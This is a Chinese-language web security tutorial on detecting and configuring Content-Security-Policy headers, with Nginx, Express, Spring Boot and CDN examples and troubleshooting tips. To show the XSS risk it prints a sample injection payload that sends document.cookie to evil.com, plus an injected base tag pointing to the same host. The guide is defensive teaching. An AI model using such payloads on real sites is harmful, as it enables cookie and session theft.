CSP缺失检测与修复:从XSS防护到安全响应头的完整配置指南
2026/9/16 21:37:39 网站建设 项目流程

1. 一次真实的安全告警:CSP缺失到底意味着什么

事情起因很简单,我在给一个内部管理后台做上线前巡检,随手打开浏览器控制台,发现一堆红色报错。其中最显眼的一条是:

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'"

再往下翻请求头,发现响应里压根没有Content-Security-Policy字段。也就是说,这个站点从上到下,完全没有设置任何内容安全策略。

当时我第一反应不是“修一下就好”,而是先想想这背后意味着什么。对于任何一个需要用户登录、处理业务数据的Web应用来说,CSP缺失等于把XSS(跨站脚本攻击)的大门敞开了一半。攻击者一旦找到任何一处可以注入脚本的地方——比如评论框、搜索框、URL参数反射点——就能在你的页面里执行任意JavaScript,盗取Cookie、篡改页面内容、劫持用户会话,甚至发起钓鱼攻击。

这篇文章我就把这个问题的来龙去脉、排查思路、修复方案,以及我在实际项目里踩过的坑,完整地梳理一遍。内容偏向Web安全和前端工程化实践,适合后端同学排查接口响应头、前端同学处理页面报错、运维同学做安全加固时参考。

先给结论:CSP缺失不是“有没有被攻击”的问题,而是“什么时候会被攻击”的问题。它属于被动防御层,必须在应用上线前就补上,越早越好。

2. 理解CSP:它到底在保护什么

2.1 CSP是什么,一句话说清楚

Content-Security-Policy,中文翻译是“内容安全策略”,它是一组HTTP响应头字段,由服务器在返回页面资源时下发。浏览器收到这个字段后,会按照策略里声明的一系列指令,严格限制页面可以加载和执行的资源来源。

你可以把它理解成一道“白名单闸门”:页面上的脚本、样式、图片、字体、连接、iframe、对象等所有资源,都必须来自你明确允许的源,否则浏览器直接拒绝加载或执行。

举个例子,如果你的策略是default-src 'self',那么页面里所有未单独指定的资源,都只能从当前站点自己的域名下加载。任何来自第三方域名的脚本,哪怕是 www.example.com/cdn.js,也会被直接拦截。

2.2 没有CSP时,XSS攻击为什么这么容易

在没有CSP的页面里,浏览器对资源加载几乎是“来者不拒”的。攻击者只要找到了一个注入点,比如一个没做过滤的搜索框<input value="用户输入">,他构造输入"><script>fetch('https://evil.com/cookie?c='+document.cookie)</script>,就能把这个脚本跑到你的页面上。

没有CSP时,这个脚本可以:

  • 读取并外传当前站点的Cookie、localStorage、sessionStorage
  • 在页面里渲染任意钓鱼表单
  • 劫持用户点击、键盘输入
  • 发起内部接口请求,伪造操作

有了CSP之后,即便脚本被注入到了DOM里,只要它不匹配白名单规则,浏览器就直接拒绝执行。这就是CSP的核心价值——它不是防止注入,而是在注入发生后阻止攻击扩大化。

2.3 CSP的I指令体系:至少要认识这6个

CSP的配置是通过一组指令完成的,每个指令控制一类资源或者一类行为。实际项目里最常用的指令有这么几个:

指令控制范围示例值
default-src未单独指定时的兜底策略'self'
script-src脚本来源'self'https://cdn.example.com
style-src样式表来源'self''unsafe-inline'
img-src图片来源'self'data:
connect-srcfetch、XHR、WebSocket等连接目标'self'https://api.example.com
frame-ancestors允许哪些页面嵌套当前页面(防点击劫持)'self'

还有一个容易被忽略的base-uri,它限制页面中的<base>标签能设置的基准URL。攻击者如果能在页面里注入一个<base href="https://evil.com/">,就能让后续所有的相对路径请求都指向攻击者服务器,所以建议显式设置成base-uri 'self'

2.4 为什么说CSP是“纵深防御”里不可或缺的一层

很多人觉得“我已经做了输入过滤、输出编码,为什么还要CSP?”这个想法我理解,但不够安全。输入过滤是攻击发生前的第一道防线,总有绕过可能——尤其是在复杂的富文本场景、第三方组件拼接、服务端模板渲染这些地方。CSP是浏览器层面的最后一道防线,它是客户端原生执行的,不依赖你业务代码的每一次判断。

打个比方,输入过滤就像你出门前的检查清单,尽量防止忘了锁门;但CSP相当于一把门锁本身——即使你忘了检查,门也是锁着的。两者不是二选一,而是都要做。

3. 为什么你的站点会没有CSP,以及如何确认

3.1 CSP缺失的常见原因

在实际项目里,我见过CSP缺失的情况大部分是以下几种原因导致的:

  • 框架默认没有开启。很多前端框架、开发服务器(比如Vite dev server、Webpack dev server)、后端模板引擎,默认情况下不会主动输出CSP头,需要开发者显式配置。
  • 部署环节被忽略。开发环境可能配置了,但到了Nginx、网关、CDN这一层,没有把响应头透传或附加,导致线上环境缺失。
  • 历史项目带病上线。这类最麻烦,项目很老,没有安全基线意识,从上线第一天起就没有CSP,直到安全扫描报告打出来才发现。
  • 反向代理覆盖了自定义头。有些网关会重建响应头,如果上游节点设置的CSP头没有在代理层保留,也会出现“明明配置了,但客户端看不到”的诡异情况。

3.2 快速自查方法:浏览器控制台就够了

想确认你的站点到底有没有CSP,最快的办法是打开Chrome DevTools,切换到Network面板,刷新页面,点击主文档请求,在Headers标签里查看Response Headers。

如果你看到content-security-policy字段,说明策略存在;如果找不到这个字段,那就是缺失。

另外还有个细节:CSP头字段名有两种写法,Content-Security-Policy是标准策略头,Content-Security-Policy-Report-Only是只报告不拦截的观察模式。很多安全扫描器两个头都会检测,至少要确认标准策略头存在才算是真正生效。

3.3 命令行检测法,适合批量扫描

如果站点数量多,浏览器一个个看太慢,可以用curl直接拉响应头:

curl -sI https://example.com | grep -i content-security-policy

没有输出就说明缺失。注意,curl -I发的是HEAD请求,有些服务器对HEAD和GET返回的头不完全一样,稳妥起见可以加-X GET或者直接curl -s -D - -o /dev/null https://example.com

3.4 用Report-Only模式安全摸底

这里要特别提一下Content-Security-Policy-Report-Only。它的作用和标准CSP头完全一样,但不会真的拦截任何资源,只会在浏览器控制台里报告哪些资源违反了策略,并通过你指定的report-urireport-to发回报告。

我在给老项目加CSP时,强烈建议先开Report-Only模式至少一两天,让真实用户帮你在生产环境里测试一遍。等确认报告里没有误报,再把策略头切到真正的拦截模式。这个流程能极大降低上线后页面样式错乱、功能白屏的风险。

4. 修复实战:从开发环境到生产环境的完整配置

4.1 先说原则:按最小白名单配置,别图省事

给一个站点配置CSP,最忌讳的就是为了“不报错”而把所有权限全放开,比如直接写script-src 'unsafe-inline' 'unsafe-eval' *。这种配置等于把CSP的防护能力直接清零,还不如不配。

正确的思路是:先整理出页面里实际使用的资源来源,画一张域名清单,再逐类配置对应的指令。如果某个源真的无法避免,再在特定指令里单独放开,而不是一股脑放到default-src里。

4.2 前后端分离项目的典型配置

对于一个典型的前后端分离项目:前端部署在https://app.example.com,后端API在https://api.example.com,可能用到了第三方字体和埋点统计,我常用的基础配置是这样的:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self' https://fonts.example.com; connect-src 'self' https://api.example.com; frame-ancestors 'self'; base-uri 'self'; form-action 'self'

逐个解释一下:

  • default-src 'self':兜底策略,没写到的资源类型默认只能从本站获取。
  • script-src 'self' https://cdn.example.com:允许本站脚本和一个指定的CDN域名。注意,这里没有加'unsafe-inline',意味着页面上所有内联脚本(包括事件处理器、javascript: URL)都会被禁用。
  • style-src 'self' 'unsafe-inline':允许内联样式。老实说,很多项目里CSS-in-JS、动态样式绑定离不开内联样式,所以这个指令经常要放开。
  • img-src 'self' data::允许图片从本站加载,也允许data:URI 图片。
  • connect-src 'self' https://api.example.com:允许fetch、XHR等请求发送到本站和API域名。
  • frame-ancestors 'self':防止自己的页面被别的网站用iframe嵌套,是防点击劫持的关键。
  • base-uri 'self':防止<base>标签被篡改。
  • form-action 'self':限制表单只能提交到本站。

4.3 在Nginx上配置CSP响应头

如果你的站点直接由Nginx托管静态文件,或者Nginx作为反向代理,配置非常简单。在server块里加上:

add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self';" always;

注意最后一个参数always。Nginx的add_header指令默认只在响应状态码是200、201、204、206、301、302、303、304、307、308时才会附加。加上always后,4xx、5xx错误响应也会带上CSP头。这个细节很容易被忽略,但对安全检测来说很关键,因为攻击面不只存在于正常响应里。

改完配置后,先测试再重载:

nginx -t nginx -s reload

重载后再次用curl确认:

curl -sI https://app.example.com | grep -i content-security-policy

4.4 在Express/Node.js应用中配置

如果应用是Express写的,直接在响应中设置头即可。我一般用一个中间件统一加:

const helmet = require('helmet'); app.use( helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'"], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", "data:"], fontSrc: ["'self'"], connectSrc: ["'self'"], frameAncestors: ["'self'"], baseUri: ["'self'"], formAction: ["'self'"] } }) );

如果你不想引入helmet这个重量级依赖,也可以手写:

app.use((req, res, next) => { res.setHeader( 'Content-Security-Policy', "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self';" ); next(); });

补充一句,helmet这个库我用了好几年,它不光能设置CSP,还能设置X-Content-Type-OptionsX-Frame-OptionsStrict-Transport-Security等一堆安全响应头,属于Node服务加固的标准配置。

4.5 在Spring Boot后端里配置

Java后端的朋友更常见的是在Spring Boot项目里配置。推荐的做法是实现WebMvcConfigurer,添加一个HandlerInterceptor来统一设置响应头:

@Component public class CSPInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { response.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self';"); return true; } }

然后在配置类里注册:

@Configuration public class WebConfig implements WebMvcConfigurer { @Autowired private CSPInterceptor cspInterceptor; @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(cspInterceptor).addPathPatterns("/**"); } }

还有一个更省事的方式,直接在Spring Security的配置里开启CSP支持:

http.headers().contentSecurityPolicy("default-src 'self'");

Spring Security从5.x开始就内置了这个支持,配起来非常方便。

4.6 在纯静态托管/CDN上配置

如果你用Nginx、Apache之外的方式托管静态站点,比如GitHub Pages、对象存储加CDN,那就要在CDN控制台或者静态站点配置里设置自定义响应头。以常见的CDN为例,一般在“HTTP响应头”或“回源配置”里添加字段名Content-Security-Policy和对应的值即可。

对于对象存储(如阿里云OSS、腾讯云COS),一般可以在存储桶的“自定义Headers”里设置。注意,CDN节点回源到存储桶时,可能会覆盖或丢弃源站设置的头,所以最终效果一定要在全链路环境下验证。

4.7 Report-Only模式怎么落地

我还是想再强调一下Report-Only模式。在你真正把CSP头加到生产环境之前,先花一两天用Report-Only模式跑一遍,能避免至少九成的“上线后页面白屏”事故。具体配置方法就是在Nginx或代码里,把Content-Security-Policy换成Content-Security-Policy-Report-Only,策略值保持不变。

然后你可以加一个上报地址:

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report; report-to csp-endpoint

report-uri是老语法,report-to是新语法,为了兼容老浏览器,两个可以同时写。服务端收到上报后,解析JSON报告,就能看到具体是哪个页面的哪个资源违规了。

5. 配置CSP之后一定会遇到的问题:内联脚本和动态加载

5.1 内联脚本被拦截怎么办

加了CSP之后,最常见的报错就是:

Refused to execute inline script because it violates the following Content Security Policy directive

原因很简单,你的页面里有很多直接写在HTML里的<script>标签,或者用了onclick="..."这类事件处理器。CSP的默认策略(没有'unsafe-inline'时)会禁止所有内联脚本执行。

解决办法有两个方向:

第一,把内联脚本改造成外部JS文件。这是最正规、最安全的做法,把页面里的脚本逻辑提取到.js文件里,用<script src="...">引入。

第二,如果实在无法避免内联脚本,比如某些模板引擎会动态拼接脚本,可以使用哈希或nonce白名单机制。CSP允许你指定某个内联脚本的哈希值,或者给脚本标签加一个随机的nonce属性,只有匹配的才能执行。

nonce方式的示例:

<script nonce="a1b2c3"> console.log('这个脚本可以执行'); </script>

对应的CSP头值里加上'nonce-a1b2c3'

这里要特别提醒:nonce值必须是每次请求随机生成的,不能写死,否则nonce白名单就失去了意义。而且,一旦使用nonce,很多浏览器会忽略'unsafe-inline'(即使你同时写了它),这是规范为了安全做的处理,别觉得奇怪。

5.2 动态加载的脚本(Eval、Function、setTimeout)报错

第二条高频报错是:

Refused to evaluate a string as JavaScript because it violates ... 'unsafe-eval'

这是因为页面里用了eval()new Function()或者类似setTimeout("string")这种把字符串当成代码执行的写法。在老项目里,JSON.parse被误用成eval的情况不太多见,但很多第三方库确实依赖动态代码执行。

解决方案:

  • 优先改造代码,用JSON.parse替代eval,用Function构造器替代字符串定时器。
  • 如果是第三方库导致的,检查是否有沙箱版本或替代库。
  • 极其无奈的情况下,在script-src指令里加上'unsafe-eval'。但你必须清楚,这意味着代码注入者也可以通过eval执行任意代码,安全收益大打折扣。

5.3 图片、字体、API请求被拦截

这三类问题一般是域名白名单没写全。报错信息里都会明确告诉你“refused to load the image/font/connect”以及请求的URL,你只需要把这个URL对应的源域名加到对应指令里即可。

值得注意的一个坑是:default-src只在没有更具体的指令时才生效。如果你写了default-src 'self',但没写img-src,那么图片只能从本站加载;一旦你写了img-src data:,那本站域名反而会被排除,因为img-src覆盖了default-src对图片的约束。所以配置时要么只依赖default-src,要么每个指令都写全,别混着来导致逻辑混乱。

6. 配置CSP时最容易踩的坑,我替你踩过了

6.1 坑一:data:协议忘记加,图片全裂

很多后台项目的图片是Base64编码的数据,存在data:image/png;base64,...这种URI里。CSP策略里没加data:,浏览器就会直接拦截所有这类图片。排查的时候控制台一片红,但页面看起来不是白屏,而是图片位置全部变空白,很容易被忽略。

解决方案相当简单,img-src里加上data:即可。如果你使用SVG的<use>url(data:)方式,可能还需要在style-src里也放行data:,具体看报错信息来定。

6.2 坑二:WebSocket连接被connect-src拦截

这个坑很隐蔽。页面在连接wss://api.example.com时,如果connect-src只写了'self' https://api.example.com,有些浏览器会把wss://api.example.com作为一个独立源来处理,从而拦截WebSocket连接。

解决办法就是把wss://api.example.com也加到connect-src里:

connect-src 'self' https://api.example.com wss://api.example.com

6.3 坑三:Nginx的add_header继承问题

Nginx里如果同时存在多个add_header指令,会有一个容易忽视的继承规则:一旦server块、location块中出现了任何一个add_header,更高层级的add_header就会被完全覆盖,而不是合并。也就是说,如果你在http块里定义了CSP响应头,而某个location块里又单独为另一个响应头写了add_header,那个location里CSP头会失效。

这个坑我遇到过不止一次,排查到崩溃。解决方法是把CSP头的配置放到能覆盖所有location的层级,并且确认同一层级没有其他add_header覆盖了它。最稳妥的方式是每个server块里显式书写,别过度依赖继承。

6.4 坑四:浏览器缓存导致验证失误

在配置CSP时,你改了服务端配置,然后用浏览器验证,结果发现还是老样子。这很可能是浏览器缓存了旧的响应头。强烈建议用无痕窗口验证,或者在Network面板里勾选Disable cache。用curl验证最可靠,因为它不受浏览器缓存影响。

6.5 坑五:第三方脚本和统计代码

项目里一旦嵌入了第三方分析脚本、在线客服脚本、地图SDK这类东西,CSP的配置就会变成“打地鼠”游戏。今天加了A域名,明天又要加B域名。我的经验是:先收集所有第三方脚本的域名清单,评估哪些是真正必要的,能剪掉就剪掉。必要保留的脚本,最好用独立的sit包放在自己的域名下,这样CSP策略的变动面会小很多。

7. 常见问题快速排查表

症状可能原因解决方向
页面内联脚本不执行策略不含'unsafe-inline'且未使用nonce/hash提取外部文件,或添加nonce
控制台报'unsafe-eval'违规代码用了eval、Function构造器改用正规语法,必要时放行eval
图片全裂img-srcdata:在img-src中加data:
WebSocket连不上connect-srcwss://域名加入对应ws/wss域名
CDN资源被拦截script-src/style-src没写完整按报错域名逐个补充
老项目使用hash/nonce导致每次刷新页面变化服务端未正确生成随机nonce服务端模板动态生成
Nginx配置后无效add_header被继承覆盖检查当前楼层是否独立配置了add_header
新版Chrome不再支持report-urireport-to未配置或配置格式不对同时配置report-uri和report-to

8. 后续还能怎么扩展

CSP只是Web安全响应头里的其中一环,排查这一个字段的机会,顺便检查一下其他几个常见的响应头会更有性价比:

响应头作用建议值
X-Content-Type-Options禁止MIME类型嗅探nosniff
X-Frame-Options防点击劫持(旧方案)SAMEORIGIN
Referrer-Policy控制Referer信息的传递strict-origin-when-cross-origin
Permissions-Policy控制摄像头、麦克风等浏览器特性按需禁用
Strict-Transport-Security强制HTTPS连接max-age=31536000; includeSubDomains

我个人习惯是每次做完CSP配置,顺手把这几个头一起检查一遍,形成一套安全响应头基线。后面接新的项目,直接套用这套模板,省时省力又能保证底子不会太差。

还有一点值得提:如果你的项目是一个多人维护的复杂系统,建议把CSP的配置写进部署脚本或者基础设施代码里,而不是只靠人工到服务器上手动改Nginx。配置做个版本管理,后续排查时才能知道改动历史,不然时间一久,谁改了什么、为什么改,全凭记忆就麻烦了。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询